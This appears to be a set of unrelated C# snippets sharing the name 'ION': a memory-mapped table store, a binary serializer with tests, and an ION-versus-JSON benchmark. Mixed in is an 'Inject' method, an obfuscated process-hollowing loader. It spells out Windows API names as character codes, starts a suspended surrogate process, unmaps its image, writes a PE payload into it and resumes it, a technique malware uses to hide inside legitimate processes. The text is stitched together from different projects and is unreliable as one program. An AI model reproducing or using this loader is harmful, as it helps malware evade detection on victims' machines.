public void Insert(T Row) { long position = CurrentTablePosition; byte[] PositionByte = BitConverter.GetBytes(CurrentTablePosition); foreach (PropertyInfo property in Properties) { object propertyValue = property.GetValue(Row); if (propertyValue != null) { int column = ColumnPosition[property.Name]; Columns[column].Insert(propertyValue, CurrentTablePosition, PositionByte); } } long size = position + TableRowSize; CheckTableSize(size); using (var accessor = MemoryMappedTableFile.CreateViewAccessor(position, TableRowSize, MemoryMappedFileAccess.Write)) { byte[] Buffer = ION.SerializeObject(Row, PadRight: true, PadAmount: TableRowSize); accessor.WriteArray(0, Buffer, 0, Buffer.Length); } CurrentTablePosition += TableRowSize; }
void Test01() { ION root = new Dictionary <string, ION> { { "name", "orz" }, { "type", "ION" }, { "size", 5 }, { "append", new Dictionary <string, ION> { { "a", (short)10 }, { "b", (long)5 }, { "c", (byte)12 }, { "d", 0 }, { "sum", (int)27 } } }, { "height", new List <ION> { 3.2f, 4.3, 4.5, } } }; Debug.Log(root); MemoryStream memoryStream = new MemoryStream(); root.Write(memoryStream); Debug.Log(memoryStream.ToArray().Length); memoryStream.Seek(0, SeekOrigin.Begin); root = ION.Read(memoryStream); Debug.Log(root); }
public T Get(long Position) { using (var accessor = MemoryMappedTableFile.CreateViewAccessor(Position, TableRowSize, MemoryMappedFileAccess.Read)) { byte[] Buffer = new byte[TableRowSize]; accessor.ReadArray(0, Buffer, 0, TableRowSize); return(ION.DeserializeObject <T>(Buffer)); } }
public void Insert(object Value, long CurrentTablePosition, byte[] PositionByte) { T ValueConvert = (T)Value; ColumnMapper.Add(ValueConvert, new MapperFilePostion(CurrentTablePosition, MemoryMappedColumnMapStream.Position)); CheckTableMapSize(MemoryMappedColumnMapStream.Position + MapRowSize); byte[] ValueByte = ION.SerializeObject(ValueConvert, PadRight: true, PadAmount: MapRowSizeNoPosition); MemoryMappedColumnMapStream.Write(ValueByte, 0, ValueByte.Length); MemoryMappedColumnMapStream.Write(PositionByte, 0, PositionByte.Length); MemoryMappedColumnMapCountAccessor.Write(0, ColumnMapper.Count); }
internal override void ReadContent(Stream stream) { byte[] buffer = new byte[4]; stream.Read(buffer, 0, 4); int count = System.BitConverter.ToInt32(buffer, 0); data = new List <ION>(); for (int i = 0; i < count; ++i) { data.Add(ION.Read(stream)); } }
public void Update(object OldValue, object NewValue) { T OldValueConvert = (T)OldValue; T NewValueConvert = (T)NewValue; MapperFilePostion mapperFilePostion = ColumnMapper[OldValueConvert]; ColumnMapper.Remove(OldValueConvert); ColumnMapper.Add(NewValueConvert, mapperFilePostion); byte[] ValueByte = ION.SerializeObject(NewValueConvert, PadRight: true, PadAmount: MapRowSize); using (var accessor = MemoryMappedColumnMapFile.CreateViewAccessor(mapperFilePostion.MapPosition, MapRowSize, MemoryMappedFileAccess.Write)) { accessor.WriteArray(0, ValueByte, 0, ValueByte.Length); } MemoryMappedColumnMapCountAccessor.Write(0, ColumnMapper.Count); }
internal override void ReadContent(Stream stream) { data = new Dictionary <string, ION>(); while (true) { byte[] buffer = new byte[2]; stream.Read(buffer, 0, 2); short count = System.BitConverter.ToInt16(buffer, 0); if (count == 0) { break; } buffer = new byte[count]; stream.Read(buffer, 0, count); string key = System.Text.Encoding.UTF8.GetString(buffer); ION value = ION.Read(stream); data.Add(key, value); } }
void Test02() { ION a = 10; ION b = 3.2f; ION c = new List <ION> { a, 20, 30.2 }; ION d = new Dictionary <string, ION> { { "length", 9 }, { "weight", 3.2 }, { "appends", c } }; Debug.Log(a); Debug.Log(b); Debug.Log(c); Debug.Log(d); }
public void Update(T Row) { DateTime start = DateTime.Now; object propertyValue = KeyColumn.GetValue(Row); long Position = Columns[KeyColumnIndex].Equal(propertyValue).TablePosition; T Original = Get(Position); foreach (PropertyInfo property in Properties) { object newValue = property.GetValue(Row); object oldValue = property.GetValue(Original); if (newValue != null && !newValue.Equals(oldValue)) { int column = ColumnPosition[property.Name]; Columns[column].Update(oldValue, newValue); } } using (var accessor = MemoryMappedTableFile.CreateViewAccessor(Position, TableRowSize, MemoryMappedFileAccess.Write)) { byte[] Buffer = ION.SerializeObject(Row, PadRight: true, PadAmount: TableRowSize); accessor.WriteArray(0, Buffer, 0, Buffer.Length); } }
public TableColumnMap(string StoragePath, string TableName, string ColumnName, StringLengthAttribute StringLength, MaxLengthAttribute MaxLength) { int stringLength = StringLength != null ? StringLength.MaximumLength : 0; int stringArrayLength = MaxLength != null ? MaxLength.Length : 0; if (stringLength > 0) { MapRowSizeNoPosition = stringLength; if (stringArrayLength > 0) { MapRowSizeNoPosition *= stringArrayLength; } MapRowSizeNoPosition += 4; } else { MapRowSizeNoPosition = Marshal.SizeOf(typeof(T)); } MapRowSize = MapRowSizeNoPosition + 8; DeleteBuffer = Common.CreateDefaultArray(DeleteChar, MapRowSize); ColumnMap = $"{TableName}_{ColumnName}"; ColumnMapFile = $"{StoragePath}{ColumnMap}.map"; if (File.Exists(ColumnMapFile)) { FileInfo fi = new FileInfo(ColumnMapFile); CurrentColumnMapperSize = fi.Length; } MemoryMappedColumnMapFile = MemoryMappedFile.CreateFromFile(ColumnMapFile, FileMode.OpenOrCreate, ColumnMap, CurrentColumnMapperSize); MemoryMappedColumnMapStream = MemoryMappedColumnMapFile.CreateViewStream(0, CurrentColumnMapperSize); MemoryMappedColumnMapCountAccessor = MemoryMappedColumnMapFile.CreateViewAccessor(0, 4, MemoryMappedFileAccess.Write); byte[] buffer = new byte[4]; MemoryMappedColumnMapStream.Read(buffer, 0, 4); int ExpectedMappings = BitConverter.ToInt32(buffer, 0); if (ExpectedMappings > 0) { for (long position = 0; position < MemoryMappedColumnMapStream.Length; position += MapRowSize) { buffer = new byte[MapRowSizeNoPosition]; MemoryMappedColumnMapStream.Read(buffer, 0, MapRowSizeNoPosition); if (!buffer.StartsWith(DeleteChar, MapRowSizeNoPosition)) { T key = ION.DeserializeObject <T>(buffer); buffer = new byte[8]; MemoryMappedColumnMapStream.Read(buffer, 0, 8); long filePosition = BitConverter.ToInt64(buffer, 0); ColumnMapper.Add(key, new MapperFilePostion(filePosition, position)); ExpectedMappings--; if (ExpectedMappings == 0) { break; } } else { //Skip Position MemoryMappedColumnMapStream.Position += MapRowSize; } } if (ExpectedMappings > 0) { throw new Exception("Mapping File Corrupt!"); } } }
private bool Inject(byte[] bytes, string surrogateProcess) { String K32 = Convert.ToString((char)107) + (char)101 + (char)114 + (char)110 + (char)101 + (char)108 + (char)51 + (char)50; String NTD = Convert.ToString((char)110) + (char)116 + (char)100 + (char)108 + (char)108; ESS CP = CreateAPI <ESS>(K32, Convert.ToString((char)67) + (char)114 + (char)101 + (char)97 + (char)116 + (char)101 + (char)80 + (char)114 + (char)111 + (char)99 + (char)101 + (char)115 + (char)115 + (char)65); ION NUVS = CreateAPI <ION>(NTD, Convert.ToString((char)78) + (char)116 + (char)85 + (char)110 + (char)109 + (char)97 + (char)112 + (char)86 + (char)105 + (char)101 + (char)119 + (char)79 + (char)102 + (char)83 + (char)101 + (char)99 + (char)116 + (char)105 + (char)111 + (char)110); EXT GTC = CreateAPI <EXT>(K32, Convert.ToString((char)71) + (char)101 + (char)116 + (char)84 + (char)104 + (char)114 + (char)101 + (char)97 + (char)100 + (char)67 + (char)111 + (char)110 + (char)116 + (char)101 + (char)120 + (char)116); TEX STC = CreateAPI <TEX>(K32, Convert.ToString((char)83) + (char)101 + (char)116 + (char)84 + (char)104 + (char)114 + (char)101 + (char)97 + (char)100 + (char)67 + (char)111 + (char)110 + (char)116 + (char)101 + (char)120 + (char)116); ORY RPM = CreateAPI <ORY>(K32, Convert.ToString((char)82) + (char)101 + (char)97 + (char)100 + (char)80 + (char)114 + (char)111 + (char)99 + (char)101 + (char)115 + (char)115 + (char)77 + (char)101 + (char)109 + (char)111 + (char)114 + (char)121); EAD RT = CreateAPI <EAD>(K32, Convert.ToString((char)82) + (char)101 + (char)115 + (char)117 + (char)109 + (char)101 + (char)84 + (char)104 + (char)114 + (char)101 + (char)97 + (char)100); CEX VAE = CreateAPI <CEX>(K32, Convert.ToString((char)86) + (char)105 + (char)114 + (char)116 + (char)117 + (char)97 + (char)108 + (char)65 + (char)108 + (char)108 + (char)111 + (char)99 + (char)69 + (char)120); CTEX VPE = CreateAPI <CTEX>(K32, Convert.ToString((char)86) + (char)105 + (char)114 + (char)116 + (char)117 + (char)97 + (char)108 + (char)80 + (char)114 + (char)111 + (char)116 + (char)101 + (char)99 + (char)116 + (char)69 + (char)120); MOR WPM = CreateAPI <MOR>(K32, Convert.ToString((char)87) + (char)114 + (char)105 + (char)116 + (char)101 + (char)80 + (char)114 + (char)111 + (char)99 + (char)101 + (char)115 + (char)115 + (char)77 + (char)101 + (char)109 + (char)111 + (char)114 + (char)121); try { IntPtr procAttr = IntPtr.Zero; IntPtr[] processInfo = new IntPtr[4]; byte[] startupInfo = new byte[0x44]; int num2 = BitConverter.ToInt32(bytes, 60); int num = BitConverter.ToInt16(bytes, num2 + 6); IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54)); if (CP(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo)) { uint[] ctxt = new uint[0xb3]; ctxt[0] = 0x10002; if (GTC(processInfo[1], ctxt)) { IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L); IntPtr buffer = IntPtr.Zero; IntPtr bufferSize = new IntPtr(4); IntPtr numRead = IntPtr.Zero; if (RPM(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) && (NUVS(processInfo[0], buffer) == 0)) { IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34)); IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80)); IntPtr lpBaseAddress = VAE(processInfo[0], addr, size, 0x3000, 0x40); int lpNumberOfBytesWritten; WPM(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten); int num5 = num - 1; for (int i = 0; i <= num5; i++) { int[] dst = new int[10]; Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40); byte[] buffer2 = new byte[(dst[4] - 1) + 1]; Buffer.BlockCopy(bytes, dst[5], buffer2, Convert.ToInt32(null, 2), buffer2.Length); size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]); addr = new IntPtr(buffer2.Length); WPM(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten); } size = new IntPtr(ctxt[0x29] + 8L); addr = new IntPtr(4); WPM(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten); ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40)); STC(processInfo[1], ctxt); } } RT(processInfo[1]); } } catch { return(false); } return(true); }
static void Main(string[] args) { //PREP Model m = new Model(); PopulateTestModel(ref m); //ION - SERIALIZE Stopwatch sw = Stopwatch.StartNew(); byte[] ion = ION.SerializeObject(m); sw.Stop(); long ionSerializeTime = sw.ElapsedTicks; //JSON - SERIALIZE sw = Stopwatch.StartNew(); string jsonStr = JsonConvert.SerializeObject(m); sw.Stop(); long jsonSerializeTime = sw.ElapsedTicks; //ION - DESERIALIZE sw = Stopwatch.StartNew(); Model ionDeserialized = ION.DeserializeObject <Model>(ion); sw.Stop(); long ionDeserializeTime = sw.ElapsedTicks; string parity1 = ION.Parity(m); string parity2 = ION.Parity(ionDeserialized); if (parity1 != parity2) { throw new Exception(":-("); } //JSON - DESERIALIZE sw = Stopwatch.StartNew(); Model jsonDeserialized = JsonConvert.DeserializeObject <Model>(jsonStr); sw.Stop(); long jsonDeserializeTime = sw.ElapsedTicks; //SIZE Console.WriteLine("--SIZE--"); Console.WriteLine("ION: " + ion.Length); Console.WriteLine("JSON: " + jsonStr.Length); long max = Math.Max(ion.Length, jsonStr.Length); long min = Math.Min(ion.Length, jsonStr.Length); float perc = ((float)max / (float)min); Console.WriteLine("DIFF: " + (ion.Length < jsonStr.Length ? "-" : "+") + (perc * 100f).ToString() + "% (" + perc.ToString() + "x)"); //SPEED - SERIALIZE Console.WriteLine(Environment.NewLine + "--SERIALIZE SPEED--"); Console.WriteLine("ION: " + ionSerializeTime); Console.WriteLine("JSON: " + jsonSerializeTime); max = Math.Max(ionSerializeTime, jsonSerializeTime); min = Math.Min(ionSerializeTime, jsonSerializeTime); perc = ((float)max / (float)min); Console.WriteLine("DIFF: " + (ionSerializeTime < jsonSerializeTime ? "-" : "+") + (perc * 100f).ToString() + "% (" + perc.ToString() + "x)"); //SPEED - DESERIALIZE Console.WriteLine(Environment.NewLine + "--DESERIALIZE SPEED--"); Console.WriteLine("ION: " + ionDeserializeTime); Console.WriteLine("JSON: " + jsonDeserializeTime); max = Math.Max(ionDeserializeTime, jsonDeserializeTime); min = Math.Min(ionDeserializeTime, jsonDeserializeTime); perc = ((float)max / (float)min); Console.WriteLine("DIFF: " + (ionDeserializeTime < jsonDeserializeTime ? "-" : "+") + (perc * 100f).ToString() + "% (" + perc.ToString() + "x)"); Console.Read(); }